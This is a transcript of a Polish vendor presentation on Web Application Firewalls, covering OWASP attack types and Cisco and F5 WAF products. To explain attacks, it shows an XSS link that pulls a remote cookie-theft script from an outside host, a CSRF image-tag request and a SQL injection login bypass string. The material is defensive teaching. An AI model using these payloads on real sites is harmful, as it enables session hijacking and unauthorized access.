WAF (Web Application Firewall)
Transkrypt
WAF (Web Application Firewall)
WAF (Web Application Firewall) Mariusz Sawczuk [email protected] niezawodna komunikacja poufność danych bezpieczeństwo infrastruktury mobilność rozwiązań Ekspansja usług internetowych • Coraz więcej usług dostępnych jest przez internet: – Klienci, Partnerzy biznesowi, Pracownicy, itd. • Coraz więcej urządzeń korzysta z zasobów internetowych: – Komórki, PDA, IP phone’y, drukarki itp. • Istotne kwestie: – Aplikacje internetowe mogą być potencjalnym celem ataków – Nawet usługi korzystające z protokołu SSL akceptują żądania HTTP bez kontroli © SOLIDEX 2 Warstwa Aplikacji Typowa architektura aplikacji internetowej Kod aplikacji napisany przez firmę trzecią Baza danych (np. MySQL, PostgreSQL) Porty 80 i 443 są otwarte Firewall © SOLIDEX Web Serwer Firewall Warstwa Sieci Aplikacyjny Serwer 3 Istota ataku na aplikacje internetowe Warstwa Aplikacji Ogromne dziury w aplikacjach Kod aplikacji napisany przez firmę trzecią Baza danych (np. MySQL, PostgreSQL) 75% ataków zdarza się tutaj Warstwa Sieci Aplikacyjny Serwer Web Serwer Porty 80 i 443 są otwarte Firewall Firewall Niefiltrowane dane Tradycyjne zabezpieczenia sieciowe nie są świadome ataków na aplikacje webowe © SOLIDEX 4 Dlaczego to takie proste? • Sieć z definicji pracuje w innej warstwie i nie jest świadoma aplikacji – nie ma magicznych sygnatur na IPSy, reguł na FW, patchy, dla napisanych na indywidualne potrzeby Klienta PHP skryptów • Programiści to tylko ludzie: – popełniają błędy – mają swoje nawyki • Internet to relatywnie anonimowe medium • Narzędzie służące do ataku: przeglądarka Oprogramowanie Sieć © SOLIDEX ? Dane 5 Dlaczego po prostu nie poprawić błędów w aplikacjach? Każde 1000 linii kodu zawiera średnio 15 krytycznych luk bezpieczeństwa (US Dept of Defense) • Średnio, aplikacje biznesowe składają się z 150.000-250.000 linii kodu (Software Magazine) • Średnio, diagnoza luki bezpieczeństwa w kodzie zajmuje 75 min, a naprawa 6 godzin (na podstawie pięcioletnich badań Pentagonu) • Developerzy skupiają się na rozwoju nowych funkcjonalności a nie usuwaniu błędów • Usuwanie luk bezpieczeństwa w aplikacjach jest kosztowne! © SOLIDEX 6 PCI-DSS 6.5 i 6.6 • PCI-DSS (Payment Card Industry Data Security Standard) to standard opisujący koniecznie zabezpieczenia przy transakcjach kartami płatniczymi • Jego dwie sekcje: 6.5 i 6.6 koncentrują się na bezpieczeństwie aplikacji internetowych • Sekcja 6.6 obliguje do zainstalowania WAF (Web Application Firewalla) do końca czerwca 2008, aby chronić swoje aplikacje przed atakami OWASP top 10 © SOLIDEX 7 Najważniejsze luki w zabezpieczeniach aplikacji Web Lista ataków OWASP - Top 10 (v 2007) OWASP = Open Web App Security Project © SOLIDEX Cross site scripting (XSS) Injection Flaws Malicious file execution Insecure direct object reference Cross site request forgery (CSRF) Information leakage and improper error handling Broken auth. and session management Insecure cryptographic storage Insecure communication Failure to restrict URL access 8 Najważniejsze luki w zabezpieczeniach aplikacji Web WHID (Web Hacking Incidents Databse) http://www.xiom.com/whid Źródło: WhiteHat Security © SOLIDEX 9 Atak #0 Unvalidated input (protoplasta wszystkich web ataków) niezawodna komunikacja poufność danych bezpieczeństwo infrastruktury mobilność rozwiązań Atak #0 - Unvalidated input • Przyczyna: – Webowe aplikacje używają parametrów by pobrać informacje od klientów – Developerzy skupiają się na poprawnych wartościach parametrów i jak powinny one być przetworzone – Zbyt duże zaufanie dla informacji wpisywanych przez klienta w przeglądarce – Niewiele uwagi poświęca się nieprawidłowym wartościom parametrów • Efekt: – Aplikacja postępuje zgodnie ze 'zmienionymi' informacjami, potencjalnie dając dostęp do kont użytkowników, tajnych danych, itp. – Protoplasta dwóch najpopularniejszych ataków (XSS i SQL Injection) – Często maskowany za pomocą technik kodowania - http://ha.ckers.org/xss.html • Przykład: – Manipulowanie parametrami: exploit Shopping Cart – Kilka narzędzi do przeglądarek, zaczynając od pluginów, a kończąc na pełnych proxy): Paros, Suru, Burp Suite, WebScarab © SOLIDEX 11 Atak #0 - Unvalidated input © SOLIDEX 12 Atak #0 - Unvalidated input - kodowanie • W HTML mamy: – charsets (zestawy znaków) – encoding (kodowanie – sposób transformacji znaków na bity) • Najpopularniejszy jest kod ASCII (128 znaków). Niestety za jego pomocą nie można przedstawić wszystkich znaków występujących we wszystkich językach świata • HTML z tego powodu używa Unicode’u (1000 znaków) Z kodowaniem • Rodzaj kodowania może być niezdefiniowany, wówczas może być używane dowolne kodowanie • Jeżeli zestaw znaków nie jest zdefiniowany, serwer nie może określić, które znaki są specjalne dla niego. © SOLIDEX Parametr "charset" określa kodowanie znaków, tzn. metodę konwersji sekwencji bajtów na sekwencję znaków. Bez kodowania 13 Atak #0 - Unvalidated input - kodowanie • Problem: – RFC 1738: „Tylko znaki alfanumeryczne [0-9a-zA-Z], znaki specjalne $-_.+!*() oraz znaki zarezerwowane (np. &) mogą być użyte w adresie URL” – HTML z drugiej strony umożliwia użycie całej palety znaków z Unicodu Normalizacja Polityka Deszyfracja SSL Kanonizacja URL powstrzymuje ataki wykorzystujące kodowanie URLi © SOLIDEX 14 Atak #1 XSS (Cross-Site Scripting) Wstrzykiwanie Wstrzykiwanie kodu kodu PHP, PHP, JavaScript JavaScript do do URLa URLa niezawodna komunikacja poufność danych bezpieczeństwo infrastruktury mobilność rozwiązań Atak #1: XSS (Cross-Site Scripting) • Przyczyna: – User wpisuje dane do aplikacji webowej za pośrednictwem przeglądarki – Aplikacja webowa nie sprawdza wpisywanych danych i informacji zwracanych na zapytanie generowane przez użytkownika – Niesprawdzone dane zawierają skrypt (np. JavaScript), który jest wykonywany w ramach sesji przeglądarki użytkownika. • Efekt: – Celem ataku jest użytkownik, nie aplikacja internetowa! – Kradzież tożsamości (kradzież sesji HTTP, export cookie) – Kompromitacja bezpieczeństwa przeglądarki – kontrola przez hackera – Przejęcie pełnej kontroli nad stacją użytkownika • Trzy typy ataków XSS: – Reflected (Non-Persistent) – Stored (Persistent): Hackerzy instalują kod XSS w bazie danych (via a form for instance). Każda wizyta na stronie powoduje wykonanie kodu XSS – przykład MySpace.com – DOM based (Loacal) © SOLIDEX 16 Atak #1: XSS (Cross-Site Scripting) – Kradzież tożsamości Atakujący http://bock-bock/cgi-bin/power/?q= <script src=http://www.employees.org/~pag/XSS/ cookie_theft.js></script> 1) Atakujący wysyła spreparowany link do Ofiary przez Email lub HTTP 5) Atakujący używa skradzionych informacji o sesji by przedstawić się jako Ofiara 4) Skrypt wysyła cookie i informacje o sesji Ofiary (bez jej wiedzy) do Atakującego 2) Ofiara wchodzi na właściwą stronę i jednocześnie wykonywany jest ukryty skrypt 3) Zwracane są dane z procesu autentykacji Ofiara © SOLIDEX Aplikacja internetowa 17 Atak #1: XSS (Cross-Site Scripting) - Przykład PayPal z szyfrowanym dostępem SSL (2006) i MySpace.com © SOLIDEX 18 Atak #2 CSRF (Cross-Site Request Forgery) niezawodna komunikacja poufność danych bezpieczeństwo infrastruktury mobilność rozwiązań Atak #2: CSRF (Cross-Site Request Forgery) • Opis: – Podczas gdy XSS wykorzystuje zaufanie użytkownika na stronie internetowej, to CSRF wykorzystuje zaufanie do witryny sieci Web którą posiada użytkownik przez podrobienie requestu zaufanego użytkownika – Występuje pod kilkoma nazwami: Session Riding, XSRF, One-Click Attack, Hostile Linking, Automation Attack • Przyczyna: – Ofiara loguje się na stronie banku – Ofiara w tym samym czasie chatuje i jest zalogowana na blogu – Atakujący wpisuje komentarz na blogu zapraszając Ofiarę żeby kliknęła na link. Ofiara nie musi wcale kliknąć na link, wystarczy przecież umieścić obrazek <imgsrc="http://example.org/buy.php?item=PS3&qty=500> – Link wykonuje działanie na stronie banku Ofiary – Tak długo jak Ofiara jest zalogowana, atak może się powieść © SOLIDEX 20 Atak #2: CSRF (Cross-Site Request Forgery) • Obrona: – Nie jest trywialna, nie ma narzędzia typu one-stop-solution – Kilka rozwiązań po stronie serwera Wymuszenie autoryzacji tokenami, które nie są automatycznie akceptowane przez przeglądarkę Eliminacja zagrożeń XSS z serwerów aplikacyjnych Używaj analizy obrazkowej (CAPTCHA) – Z perspektywy WAFa implementacja sprawdzenia nagłówka zniechęci niektórych hackerów ale nie jest to wystarczające gdy nagłówek może być podspoofowany © SOLIDEX 21 Atak #3 SQL Injection Wstrzykiwanie Wstrzykiwanie zapytań zapytań SQL SQL do do URLa URLa niezawodna komunikacja poufność danych bezpieczeństwo infrastruktury mobilność rozwiązań Atak #3: SQL Injection - Przykład Co się stanie jak w pole formularza wpiszemy pojedynczy cudzysłów: ' © SOLIDEX 23 Atak #3: SQL Injection - Przykład © SOLIDEX 24 Atak #3: SQL Injection • SQL (Structured Query Language) jest standardem umożliwiającym aplikacjom pobieranie informacji z bazy danych. Za pomocą SQL można: – wykonywać zapytania do bazy danych – pobierać dane z bazy (SELECT) – wstawiać nowe rekordy do bazy (INPUT)) – usuwać rekordy z bazy (DELETE) – aktualizować rekordy w bazie (UPDATE) • Typowe zapytanie SQL przy logowaniu: SELECT * FROM users WHERE login = ‘jerry' AND password = '123‘ • Typowy kod w skrypcie, który wykonuje powyższe zapytanie: var sql = "SELECT * FROM users WHERE login = '" + form_user + "' AND password = '" + form_pwd + "'"; © SOLIDEX 25 Atak #3: SQL Injection • Apostrof – mały niepozorny znak, z ogromnymi możliwościami • Wpisujemy (wstrzykujemy) poniższy kod do formularza za pomocą apostrofu: form_user =' or 1=1 –– form_pwd = cokolwiek Komentarz SQL • W efekcie wykonując poniższe zapytanie: SELECT * FROM users Zawsze prawda! WHERE login ='' or 1=1 –– AND password = ‘cokolwiek' • ... dzięki któremu zalogowaliśmy się do systemu... • Do ataku można wykorzystywać także znaki ‘) “> ‘”\ itd. © SOLIDEX 26 Omówienie funkcjonalności rozwiązań WAF (Web Application Firewall) na podstawie Cisco WAF niezawodna komunikacja poufność danych bezpieczeństwo infrastruktury mobilność rozwiązań Cisco WAF • Cisco WAF zbudowany na bazie AXG (ACE XML Gateway) - XML firewalla • Produkt pojawił się w maju 2008 wraz z softem AXG 6.0 • Wydajność appliance’a Cisco – Inspekcja do 9.000 HTTP na sec, 30.000 jednoczesnych sesji i do 1GB ruchu • Sprzedawany jako licencja (również na moduł ACE do cat6500) i jako appliance: © SOLIDEX 28 Cisco WAF – Licencjonowanie, ceny • Są licencje na Gateway i na Managera (zarządzanie Cisco WAF Gateway) • Jeden Manager może zarządzać kilkoma Cisco WAF Gatewayami • Można połączyć funkcjonalność Managera i Gatawya na jednym appliance’ie (również na module ACE). Nie jest to wspierane przez support jeszcze. FIPS HW ACE-XML-K9 (FIPS) + ACE-XML-FIPS ACE-WAF-GAT-LICFX ACE-WAF-MGT-LICFX © SOLIDEX ACE-XML-NF-K9 + ACE-XML-NONFIPS Non FIPS HW Licencje na WAF (oddzielne na gatway i Managera) 29 Cisco WAF – modele wdrożeniowe • Cisco WAF to Revers Proxy: – – Sprawdza zapytanie klienta (analizuje pod względem bezpieczeństwa) i jeżeli jest ok., to przekierowuje do właściwego serwera HTTP. Zazwyczaj wymagana jest rekonfiguracja DNS i wskazanie klientom jako adresu IP serwera WWW adresu Cisco WAF • Cisco WAF nie posiada wbudowanych mechanizmów zapewniających redundancję. Redundancję można osiągnąć przez: – – Zewnętrzny Load Balancer: Cisco ACE, F5 BIG-IP SLB (Server Load Balancing): funkcjonalność dostępna na Cisco (routery, switche) z odpowiednim IOS • Cisco WAF nie wspiera innego ruchu poza HTTP (HTML, XML). Jeżeli otrzyma ruch typu: SSH, FTP, itp. odrzuci go. To sprawia że bardzo istotne jest aby selektywnie przekierować ruch do WAF. © SOLIDEX 30 Cisco WAF – modele wdrożeniowe DMZ Data Center Load Balancer (np. ACE, CSS) Internet HTML HTML/XML ACE Web Application Firewall Chronione aplikacje WWW Klienci ACE WAF Manager • Klienci wysyłają żądanie na adres strony WWW, który jest adresem wirtualnym (VIP) na load balancerach (LB) • LB wybiera odpowiedniego WAFa i przekierowuje do niego zapytanie • WAF analizuje zapytanie • Jeżeli jest ok. to przesyła żądanie na adres innej grupy VIP na LB • LB wybiera właściwy serwer WWW i wysyła do niego żądanie © SOLIDEX 31 Cisco WAF – terminologia • Chronione aplikacje nazywane są wirtualnymi aplikacjami webowymi • Są one grupowane na podstawie dowolnych kryterii (np. aplikacje produkcyjne, testowe etc.) • Punkty kontrolne przypisywane są do aplikacji za pomocą profili (pojedyncza aplikacja może mieć przypisany jeden profil. Jeden profil może być skojarzony z wieloma aplikacjami) • Parametry związane z inspekcją treści, będącą składową profilu, nazywane są regułami i odnoszą się do sygnatur • Cisco WAF domyślnie normalizuje ruch HTTP (do UTF-8) nim przystąpi do inspekcji © SOLIDEX 32 Cisco WAF - Profile • Cisco WAF to nie tylko sygnatury ataków. • Dla każdego profilu można kreować politykę w ramach trzech sekcji Sekcja Sekcja„aktywnego „aktywnego bezpieczeństwa” bezpieczeństwa” Zmiana Zmiana wybranej wybranej treści w komunikacji treści w komunikacji pomiędzy pomiędzyklientem klientem i iserwerem serwerem Analiza Analizaruchu ruchuza za pomocą sygnatur pomocą sygnatur © SOLIDEX 33 Cisco WAF – Header Processing • Active Security: Header Processing - maskowanie wersji serwera WWW Odpowiedź Odpowiedźwysłana wysłana wwnagłówku nagłówkuHTTP HTTP © SOLIDEX 34 Cisco WAF – Cookie Security • Active Security: Cookie Security - podpisywanie i szyfrowanie ciasteczek odbywa się w HARDWARZE Cisco WAF Klient CP_EN7a989b1f1b9e966e47d629eec63302d 3571d1677b27fe1bebba48df648b2edc= expires=Mon, 15-Dec-2006 1:03:00 GMT; path=/; domain=.cisco.com; secure Po Pozaszyfrowaniu zaszyfrowaniu © SOLIDEX Web Server sess1=1800; expires=Mon, 15-Dec-2006 1:03:00 GMT; path=/; domain=.google.com; secure 35 Cisco WAF – Ochrona Overflow, DoS • Active Security: Data Overflow Defense – ochrona aplikacji przed atakami typu Buffer Overflow, DoS © SOLIDEX 36 Cisco WAF - DLP • Message Rewrite: maskowanie odpowiedzi z serwera jako element DLP maskowanie numerów kart kredytowych) (np. Reguła Regułaużyta użytatotonadpisania: nadpisania: Operator=rewrite Operator=rewrite SigGroup=CreditCardNN SigGroup=CreditCardNN © SOLIDEX 37 Cisco WAF - DLP • Remapowanie komunikatów błędów serwera WWW • Z 2 na 5 aplikacji webowych w internecie następuje wyciek informacji Źródło: http://www.whitehatsec.com/home/assets/WPstats032408.pdf • Często wynikiem pracy aplikacji, nie potrafiącej dać sobie rady np. z nieprzewidywalnym parametrem jest wyświetlenie danych, które nie powinny być wyświetlane! Remapuj Remapujzz500 500do do200 200 © SOLIDEX 38 Cisco WAF – Message Inspection • Message Inspection: Włączenie reguły (sygnatury) anty XSS poziom poziominspekcji inspekcjiXSS XSS Co Cozrobić zrobićzz wykrytym wykrytym XSS XSS © SOLIDEX 39 Cisco WAF – HaL • Większość rozwiązań typu WAF posiada umiejętność dynamicznego uczenia aplikacji, tzw. site learning. WAF dynamicznie buduje profile zachowań i wykorzystania aplikacji, które później będzie chronił • Problemy związane z dynamicznym uczeniem: – – – Zajmuje czas, średnio 2-3 tygodnie. W tym czasie nie ma ochrony Po jego wyłączeniu, nie można włączyć go ponownie Jak odizolować czysty ruch od ataków? Żmudne przeglądanie logów • Cisco HaL = Cisco Human Assisted Learning • HaL nie uczy się aplikacji, tylko pokazuje, które sygnatury wzbudziłyby się gdyby były włączone w trybie blokowania. • HaL integruje daje plusy dynamicznego uczenia i usuwa konieczność zgadywania. • W event logu można stworzyć wyjątek (modifier) Tworzenie Tworzeniewyjątków wyjątkówto to serce serceHaLa HaLa © SOLIDEX 40 Cisco WAF – We are under attack ☺ Natychmiastowe Natychmiastowe powiadomienie powiadomienieoo atakach atakach © SOLIDEX 41 Cisco WAF – We are under attack ☺ Dowiedzmy się trochę szczegółów na temat ataku ID IDsygnatury sygnaturyktóra którasię się wzbudziła wzbudziła © SOLIDEX Nazwa Nazwawektora wektoraataku ataku 42 Cisco WAF – We are under attack ☺ • Więcej, więcej...szczegółów Pełna Pełnaanaliza analiza przychodzącego przychodzącego żądania żądania(ataku) (ataku) © SOLIDEX 43 F5 WAF – ASM (Application Security Manager) niezawodna komunikacja poufność danych bezpieczeństwo infrastruktury mobilność rozwiązań F5 WAF - ASM • F5 jest liderem na rynku Load Balancerów • Sztandarowy produkt to rodzina urządzeń F5 BIG-IP. Jest to platforma bardzo dobrze dopracowana platforma, na której można uruchomić: – – – – Load balancing Kompresję SSL Offloading WAF • Firma F5 oferuje dwa rozwiązania typu WAF: – – ASM (Application Security Manager), który zapewnia pełną ochronę typu WAF PSM (Policy Security Manager) jest okrojoną wersją ASM. Sprawdza zgodność zapytań z RFC. Realizuje więc jedynie ochronę protokołu, a nie aplikacji). • ASM daje dwustopniową ochronę – – Pierwszą linię ochrony stanowią sygnatury Drugą, stanowią zaawansowane metody blokowania wynikające z faktu iż ASM poznał budowę aplikacji (site learning). Na taj podstawie ma opisane wszystkie wartości obiektów i wie jakie parametry mogą przyjmować, więc ich zmiana to będzie atakiem. • ASM zabezpiecza przed wszystkimi atakami OWASP top 10 © SOLIDEX 45 F5 WAF – ASM: modele wdrożeniowe • W odróżnieniu od Cisco (poza modułem ACE do cat6500) rozwiązanie F5 umożliwia uruchomienie funkcji load balansujących i WAF na jednym urządzeniu! • Obsługiwana jest oczywiście redundancja Web Serwery BIG-IP z Firewall ASM Internet Management Access (przeglądarka) © SOLIDEX 46 F5 WAF – ASM GUI © SOLIDEX 47 F5 WAF - ASM • Integrated Application Security • Live Policy Builder – Complete with Staging Environment • XML Firewall • Validated Application Security Policy Templates – OWA, SharePoint, etc • Live Signature Update Service • Anti-Evasion Engine, etc… • Predefiniowalne Polityki • Integrated Application Intelligence © SOLIDEX 48 WAF - Podsumowanie niezawodna komunikacja poufność danych bezpieczeństwo infrastruktury mobilność rozwiązań Podsumowanie © SOLIDEX 50 Podsumowanie • WAF to jedyne urządzenie sieciowe, które w logiczny i czytelny sposób potrafi poinformować dział sieciowy/bezpieczeństwa o aplikacjach i atakach na nie! • Rozwiązania typu WAF nie zapewnią totalnego bezpieczeństwa ochranianym aplikacjom. Problem leży w aplikacjach i tam błędy powinny być usuwane. • Jednakże, załóżmy, że po audycie bezpieczeństwa ujawnionych zostaje 100 błędów. Powiedzmy że WAF jest w stanie zapobiec wykorzystaniu 85 z nich. Zyskujesz czas i możesz skupić się na usunięciu pozostałych 15. • Rozwiązania typu WAF są świetnym narzędziem typu Virtual Patchtool dla aplikacji. © SOLIDEX 51 Dziękuję Mariusz Sawczuk [email protected] niezawodna komunikacja poufność danych bezpieczeństwo infrastruktury mobilność rozwiązań
Podobne dokumenty
Integrator Review Wydanie Jubileuszowe
Domain, Banyan VINES, SNA, LAT – do wyboru do koloru. Tyle, że wcale kolorowo nie było. Ta swoista „wieża Babel” protokołów komunikacyjnych wprawiała w zakłopotanie nie tylko użytkowników ale równi...
Bardziej szczegółowo